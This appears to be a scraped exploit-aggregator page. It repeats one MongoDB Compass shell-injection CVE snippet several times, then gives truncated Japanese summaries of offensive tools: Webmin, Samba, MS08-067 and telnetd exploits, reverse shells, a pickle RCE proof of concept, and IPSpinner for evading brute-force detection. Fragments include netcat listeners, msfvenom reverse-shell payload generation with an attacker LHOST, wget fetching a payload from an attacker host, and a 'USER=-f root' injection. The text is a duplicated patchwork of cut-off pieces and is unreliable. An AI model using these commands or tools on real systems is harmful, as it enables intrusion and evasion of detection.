CVE-2026-96750 Shell script injection via server-supplied database name in Open MongoDB shell

MongoDB Compass can interpolate a database name without escaping into the initial input of its embedded MongoDB shell when a user opens the shell from that database's view. A user with privileges to create databases on a server that a Compass user connects to may, under specific conditions, have...

CVE-2026-96750

MongoDB Compass is vulnerable to a shell script injection because it fails to escape database names when interpolating them into the initial input of its embedded MongoDB shell . If a user opens the shell from a specific database's view, an attacker with privileges to create databases on the conn...

Shell script injection via server-supplied database name in Open MongoDB shell

MongoDB Compass can interpolate a database name without escaping into the initial input of its embedded MongoDB shell when a user opens the shell from that database's view. A user with privileges to create databases on a server that a Compass user connects to may, under specific conditions, have...

CVE-2026-96750 Shell script injection via server-supplied database name in Open MongoDB shell

MongoDB Compass can interpolate a database name without escaping into the initial input of its embedded MongoDB shell when a user opens the shell from that database's view. A user with privileges to create databases on a server that a Compass user connects to may, under specific conditions, have...

EUVD-2026-86260

MongoDB Compass can interpolate a database name without escaping into the initial input of its embedded MongoDB shell when a user opens the shell from that database's view. A user with privileges to create databases on a server that a Compass user connects to may, under specific conditions, have...

CVE-2026-96750 Shell script injection via server-supplied database name in Open MongoDB shell

MongoDB Compass can interpolate a database name without escaping into the initial input of its embedded MongoDB shell when a user opens the shell from that database's view. A user with privileges to create databases on a server that a Compass user connects to may, under specific conditions, have...

kippo-g0tmi1k

Kippo Kippoは、ブルートフォース攻撃、そして最も重要なことに、攻撃者が実行するシェル操作全体を記録するために設計された、中程度のインタラクション型SSHハニーポットです。 オリジナルホームページ: https://code.google.com/p/kippo/. フォーク これはKippoの個人的な公開フォーク であり、追加機能や、ハニーポットのフィンガープリンティングの可能性を減らすための変更が含まれています。 これは「Kippo Honeypot v0.8 svn r248 - 2014-05-19」に基づいています。 必須 クイックセットアップ Debian 7...

RCE-Exploit-Framework

RCE-Exploit-Framework このフレームワークは、ペネトレーションテスターや開発者がリモートコード実行（RCE）エクスプロイトの仕組みを理解するための支援を目的としています。 特徴 ペイロード生成部 : Python、Bash、PHPに基づくカスタムペイロードの作成をサポートします。 エクスプロイト実行部 : HTTP POSTまたはGETを介してターゲットにペイロードを配信します。 リバースシェルリスナー : リバースシェル接続を受信するためのモジュールです。 ログ出力 : 分析のためのエクスプロイト活動のログを保存します。 使用方法 1...

Alfa-Perl-RCE-ZoneH-Grabber-Python

Alfa-Perl-RCE-ZoneH-Grabber-Python Python2.7 これらのツールはオープンソースです。リコード（改変）しても構いませんが、作者のツールを削除しないでください。また、これらのツールは無料であり、販売目的ではありません!!! 結果シェルはあなたのリストに依存します !!! ここに、Jenderal92 は、ツールの誤用によってウェブサイトシステムに損害を与えた場合の責任を負いません。軽度であれ重度であれ、すべては使用方法次第です!!! 寄付 : BTC : 31mtLHqhaXXyCMnT2EU73U8fwYwigiEEU1 Perfect Money...

Webmin1.910_exploit

Webmin 1.910 リモートコード実行エクスプロイト 説明: このリポジトリには、Webmin バージョン 1.910 のリモートコード実行の脆弱性を悪用するために設計された Python 3 スクリプトが含まれています。このスクリプトは sessionlogin.cgi エンドポイントを利用して認証を実行し、リバースシェルペイロードを展開することで、標的システムへのリモートアクセスを提供します。このエクスプロイトは、許可されたペネトレーションテストおよび教育目的を対象としています。 1. ローカルマシンでリスナーを起動します: root@kitploit: nc -lvnp 2...

smb-usermap

Samba "username map script" コマンド実行 このモジュールは、非デフォルトの "username map script" 設定オプションを使用している場合に、Samba バージョン 3.0.20 から 3.0.25rc3 におけるコマンド実行の脆弱性を悪用します。シェルのメタ文字を含むユーザー名を指定することで、攻撃者は任意のコマンドを実行できます。このオプションは認証前にユーザー名をマップするために使用されるため、この脆弱性を悪用するのに認証は必要ありません。 1. シェルコードを作成 root@kitploit: msfvenom -p...

FreePBX-Reverse-Shell-Module

FreePBX-Reverse-Shell-Module...

pickle_exploit

PickleExploit ClearML における Pickle シリアライゼーションを介したリモートコード実行の脆弱性のデモ 🖥️ このスクリプトは h3x0v3rl0rd によって開発されました。 この概念実証（PoC）は、pickle ライブラリを使用した Python オブジェクトのシリアライゼーションおよびデシリアライゼーションに関わる潜在的なセキュリティ脆弱性を示しています。具体的には、デシリアライズ時に os.system を介してリバースシェルコマンドを実行する reduce メソッドを持つ RunCommand クラスを作成します。このコマンドは、指定された IP...

php-reverse-shell

php-reverse-shell...

nodejsshell

nodejsshell - h3x0v3rl0rd -...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell 例: root@kitploit: sudo apt install nim それに応じてスクリプトを更新してください root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget http://tun0:8888/spoofer-scheduler.exe -o...

MS08-067

MS08-067 | CVE-2008-4250 参考: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN シェルコードの生成 シェルコードを生成するために msfvenom を使用します。 root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

Netgear_Pwn2Own2021

Netgear R6700v3 WAN RCE - Pwn2Own 2021 これは、Pwn2Own 2021 で Netgear R6700v3 にリモートシェルを取得するために 使用されたコードです。 ブログ記事: https://synacktiv.com/publications/pwn2own-austin-2021-defeating-the-netgear-r6700v3 必要条件 flask 付きの python3 dnsmasq 使用方法 1. ifname をルーターに接続されているインターフェース名 例: eth0 として、root で ./play.sh ifna...

IPSpinner

🔁 IPSpinner IPSpinner は、選択したさまざまなプロバイダーにすべての受信リクエストをリダイレクトできるローカルプロキシです。目的は、各リクエストの送信元 IP アドレスをローテーションするパススループロキシを作成することです。例えば、IPSpinner を介してブルートフォース攻撃を実行すると、サーバーは何百もの異なる IP アドレスからリクエストを受信するため、検知を回避するのに役立ちます。 IPSpinner は現在、AWS API Gateway、Azure Cloud Shell、GitHub GitHub Actions に対応しています。 目次 1...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd リモート認証バイパス 2026年にまだtelnet？マジで？そろそろ次に移ろうよ。SSHは1995年からあるんだぞ。 🤦 説明 GNU Inetutils telnetd のバージョン 1.9.3 から 2.7 に影響を与える深刻な認証バイパス脆弱性です。 この脆弱性は、NEW-ENVIRON telnet オプションを悪用して、login1 に悪意のある引数を注入します。telnet プロトコル経由で USER=-f root を設定することで、攻撃者は認証をバイパスし、認証情報なしで root...